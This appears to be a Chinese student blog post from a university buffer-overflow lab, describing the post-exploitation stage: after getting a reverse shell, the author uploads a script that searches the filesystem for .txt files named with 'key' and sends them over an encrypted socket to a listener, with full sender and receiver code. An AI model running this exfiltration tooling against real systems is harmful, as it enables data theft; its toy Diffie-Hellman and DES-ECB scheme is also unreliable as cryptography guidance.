网络安全远程缓冲区溢出后续

利用漏洞将自己的脚本送上服务器

因为我们获得了反弹shell,所以可以在命令行使用 scp 命令,将客户机上的脚本复制到服务器上来

scp 客户机用户名@客户机ip: 脚本目录 存放的服务器目录

然后我们可以直接在反弹 shell 上运行该脚本

扫描服务器所有文件,并查找目的文件

def findtxt(filedir):
    for root, dirs, files in os.walk(filedir):
        for f in files:
            if '.txt' in f:
                if MyName in f:
                    filename.append(f)
                    filesdir.append(os.path.join(root, f))
    return

设计密钥管理机制和传输加密方案,将目的文件网络传输到客户机

def send():
    sums = len(filename)
    for i in range(sums):
        BigPri = get_prime()    #DH中的大素数
        PriRoot = get_generator(BigPri)     #大素数的原根
        Rand_A = random.randint(0, BigPri-1)    #DH中服务端的私钥
        cal_A = get_cal(PriRoot,BigPri,Rand_A)  #DH中服务端的公钥
        print("BigPri is %d,PriRoot is %d,Rand_A is %d,cal_A is %d"%(BigPri,PriRoot,Rand_A,cal_A))
        sock_client.send(str(BigPri))       #将大素数发送到客户端
        print("BigPri had been sended...")
        time.sleep(1)       #暂停一秒,发送的太快,接收方可能一次性接受好几个信息,可能会报错
        sock_client.send(str(PriRoot))      #将原根发送到客户端
        print("PriRoot had been sended...")
        time.sleep(1)
        sock_client.send(str(cal_A))        #发送服务端的公钥
        print("cal_A had been sended...")
        time.sleep(1)
        cal_B = int(sock_client.recv(1024)) #获取客户端的公钥
        print("cal_B had been recved...,it's %d"%(cal_B))

        S_a = str(get_key(Rand_A,cal_B,BigPri)) #计算出商量好的密钥
        if len(S_a) < 8:
            S_a += '0' * (8 - len(S_a))     #DES算法需要固定密钥长度,所以不够我们得人为补充上去
	
        des = DES.new(S_a,DES.MODE_ECB)

        print("Sending the %d file..." % (i))
        # 以读的方式打开文件,读取文件内容发送给客户端
        # 第一步:制作固定长度的报头
        header_dic = {
            'filename': filename[i],  # 1.txt
            'file_size': os.path.getsize(filesdir[i])
        }
        header_json = json.dumps(header_dic)
        header_bytes = header_json.encode('utf-8')
        header_bytes += (8 - len(header_bytes) % 8) * '='

        # 第二步:先发送报头的长度
        sock_client.send(struct.pack('i', len(header_bytes)))

        # 第三步:再发报头
        encrypto_header_bytes = des.encrypt(header_bytes)
        sock_client.send(encrypto_header_bytes)


        with open(filesdir[i], 'rb') as f:
            for line in f:
                print(line)
                line += (8-len(line)%8) * '='       #DES加密分块,所以我们得进行填充,将其正好能分块加密
                encrypto_line = des.encrypt(line)
                sock_client.send(encrypto_line)
                #sock_client.send(line)
        print("The %d file has been sended..." % (i))
		
        time.sleep(5)
    sock_client.close()

在这里首先使用DH算法协商好了密钥,然后使用该密钥去加密文本信息,代码就不详细讲述,自己看看就行

wireshark抓包

由于是Ubuntu系统,没有自带的 wireshark ,所以得自己去下

sudo apt install wireshark

安装的过程当中会有一个选择界面,选 Yes 就行
因为写得代码是在一台电脑上运行,所以要抓取本机进程间的通信信息
具体方法如下链接:
链接: ubuntu wireshark 抓取本地数据包.
然后过滤一下抓的包即可

发送脚本find_txt.py完整代码

# coding:utf-8
import os
import socket
import struct
import json
import time
import random
from Crypto.Cipher import DES
import binascii

HOST = '127.0.0.1'
PORT = 8123

sock_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_client.connect((HOST, PORT))

MyName = 'key'
filesdir = []
filename = []

#找到所有含有名字的txt文件
def findtxt(filedir):
    for root, dirs, files in os.walk(filedir):
        for f in files:
            if '.txt' in f:
                if MyName in f:
                    filename.append(f)
                    filesdir.append(os.path.join(root, f))
    return


def send():
    sums = len(filename)
    for i in range(sums):
        BigPri = get_prime()    #DH中的大素数
        PriRoot = get_generator(BigPri)     #大素数的原根
        Rand_A = random.randint(0, BigPri-1)    #DH中服务端的私钥
        cal_A = get_cal(PriRoot,BigPri,Rand_A)  #DH中服务端的公钥
        print("BigPri is %d,PriRoot is %d,Rand_A is %d,cal_A is %d"%(BigPri,PriRoot,Rand_A,cal_A))
        sock_client.send(str(BigPri))       #将大素数发送到客户端
        print("BigPri had been sended...")
        time.sleep(1)       #暂停一秒,发送的太快,接收方可能一次性接受好几个信息,可能会报错
        sock_client.send(str(PriRoot))      #将原根发送到客户端
        print("PriRoot had been sended...")
        time.sleep(1)
        sock_client.send(str(cal_A))        #发送服务端的公钥
        print("cal_A had been sended...")
        time.sleep(1)
        cal_B = int(sock_client.recv(1024)) #获取客户端的公钥
        print("cal_B had been recved...,it's %d"%(cal_B))

        S_a = str(get_key(Rand_A,cal_B,BigPri)) #计算出商量好的密钥
        if len(S_a) < 8:
            S_a += '0' * (8 - len(S_a))     #DES算法需要固定密钥长度,所以不够我们得人为补充上去
	
        des = DES.new(S_a,DES.MODE_ECB)

        print("Sending the %d file..." % (i))
        # 以读的方式打开文件,读取文件内容发送给客户端
        # 第一步:制作固定长度的报头
        header_dic = {
            'filename': filename[i],  # 1.txt
            'file_size': os.path.getsize(filesdir[i])
        }
        header_json = json.dumps(header_dic)
        header_bytes = header_json.encode('utf-8')
        header_bytes += (8 - len(header_bytes) % 8) * '='

        # 第二步:先发送报头的长度
        sock_client.send(struct.pack('i', len(header_bytes)))

        # 第三步:再发报头
        encrypto_header_bytes = des.encrypt(header_bytes)
        sock_client.send(encrypto_header_bytes)


        with open(filesdir[i], 'rb') as f:
            for line in f:
                print(line)
                line += (8-len(line)%8) * '='       #DES加密分块,所以我们得进行填充,将其正好能分块加密
                encrypto_line = des.encrypt(line)
                sock_client.send(encrypto_line)
                #sock_client.send(line)
        print("The %d file has been sended..." % (i))
		
        time.sleep(5)
    sock_client.close()


def rabin_miller(num):
    s = num - 1
    t = 0
    while s % 2 == 0:
        s = s // 2
        t += 1

    for trials in range(5):
        a = random.randrange(2, num - 1)
        v = pow(a, s, num)
        if v != 1:
            i = 0
            while v != (num - 1):
                if i == t - 1:
                    return False
                else:
                    i = i + 1
                    v = (v ** 2) % num
    return True

def is_prime(num):
    # 排除0,1和负数
    if num < 2:
        return False

    # 创建小素数的列表,可以大幅加快速度
    # 如果是小素数,那么直接返回true
    small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101,
                    103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199,
                    211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317,
                    331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443,
                    449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577,
                    587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701,
                    709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839,
                    853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983,
                    991, 997]
    if num in small_primes:
        return True

    # 如果大数是这些小素数的倍数,那么就是合数,返回false
    for prime in small_primes:
        if num % prime == 0:
            return False

    # 如果这样没有分辨出来,就一定是大整数,那么就调用rabin算法
    return rabin_miller(num)

# 得到大整数,默认位数为1024
def get_prime(key_size=8):
    while True:
        num = random.randrange(2 ** (key_size - 1), 2 ** key_size)
        if is_prime(num):
            return num

def get_generator(BigPri):
#获取一个原根
#素数必存在至少一个原根
#g^(p-1) = 1 (mod p)当且仅当指数为p-1的时候成立
    a=2
    while 1:
        if a**(BigPri-1) % BigPri == 1:
            num = 2
            mark = 0
            while num < BigPri-1:
                if a**num % BigPri == 1:
                    mark = 1
                num += 1
        if mark == 0:
            return a
        a += 1

def get_cal(a, p, rand):
#获得计算数
    cal = (a**rand) % p
    return cal

def get_key(cal_A,cal_B,p):
#获得密钥
    key = (cal_B ** cal_A ) % p
    return key

if __name__ == "__main__":
    filedir = '/home/admin123/work/test'
    BigPri = get_prime()
    findtxt(filedir)
    send()

客户机服务端接受代码server.py完整代码

#coding:utf-8
import socket
import os
import struct
import json
import random
from Crypto.Cipher import DES


HOST = '127.0.0.1'
PORT = 8123

sock_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_server.bind((HOST,PORT))
sock_server.listen(5)

download_dir = '/home/admin123/work/download'

def recvfile():
    while True:
        print("Start to lisening...\n")
        conn, client_addr = sock_server.accept()
        print("A client connected...\n")
        while True:
            try:
                BigPri = int(conn.recv(1024))   #获取DH的大素数

                PriRoot = int(conn.recv(1024))  #获取DH大素数的原根

                cal_A = int(conn.recv(1024))    #获取服务端的公钥
                print("Start to discuss crypt...\n")
            except:
                print("\n")
                print("finished...\n")
            break

            print("BigPri,PriRoot,cal_A had been recved...,it's %d %d %d\n"%(BigPri,PriRoot,cal_A))
            Rand_B = random.randint(0,BigPri-1)   #获取客户端的私钥
            cal_B = get_cal(PriRoot,BigPri,Rand_B)  #计算出客户端的公钥
            print("Rand_B is %d,cal_B is %d\n"%(Rand_B,cal_B))

            conn.send(str(cal_B))   #发送出客户端的公钥
            print("cal_B had been sended...")

            S_b = str(get_key(Rand_B,cal_A,BigPri)) #计算出商议好的密钥
            print("The discuss of crypt has been finished!\n")

            if len(S_b) < 8:
                S_b += '0' * (8 - len(S_b))
            des = DES.new(S_b,DES.MODE_ECB)
            #以写的方式打开一个新文件,接收服务端发来的文件的内容写入客户的新文件
            print("Start to recv files...\n")
            # 第一步:先收报头的长度
            obj = conn.recv(4)
	    
            header_size = struct.unpack('i', obj)[0]
	    
            # 第二步:再收报头
            header_bytes = conn.recv(header_size)
            header_bytes = des.decrypt(header_bytes)
            num = 0
            for i in range(header_size-1,-1,-1):
                if header_bytes[i] == '=':
                    num += 1
            header_bytes = header_bytes[:header_size-num]
	    
            # 第三步:从报头中解析出对真实数据的描述信息
            header_json = header_bytes.decode('utf-8')
            header_dic = json.loads(header_json)

            total_size = header_dic['file_size']
            file_name = header_dic['filename']

            with open(r'%s/%s' % (download_dir,file_name), 'wb') as f:
                recv_size = 0
                print("The file content is ...\n")
                while recv_size < total_size:
                    line = conn.recv(1024)
                    line = des.decrypt(line)
                    print(line.split('\n')[0])
                    f.write(line.split('\n')[0])
                    recv_size += len(line)
                print('The file has been downloaded,总大小:%s   已下载大小:%s' % (total_size, recv_size))
        conn.close()

def get_cal(a, p, rand):
#获得计算数
    cal = (a**rand) % p
    return cal

def get_key(cal_A,cal_B,p):
#获得密钥
    key = (cal_B ** cal_A ) % p
    return key

if __name__ == "__main__":
    recvfile()

实验过程的一些感想

这是我大学最后一门考试,由于之前做缓冲区实验没有好好学,所以做的过程十分曲折。从完成CS架构的编写到设计缓冲区漏洞,花费了很多天去学习如何调试,其中碰到了很多不起眼的小问题,比如代码逻辑有误等,让我花费了很多时间去排错,甚至一度认为我做不下去了。在做得过程中,我十分迷茫,觉得很多理论的东西,在实践起来好像不是那么完美,总会出现一些莫名其妙的问题,但好在坚持了下去,一点一点去解决问题。期间,我问了很多同学问题,他们也热心得回答了我,让我肯定了做下去的决心,最后自己一个人完成了这个实验。
回想这大学三年,很多理论学得时候没有好好学,实践起来就各种出错。现在回想起来,有点后悔,不过大学所有课程已经结束了,也没啥好缅怀的了,好好走明天的路吧。
完结,撒花!

  • 7
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值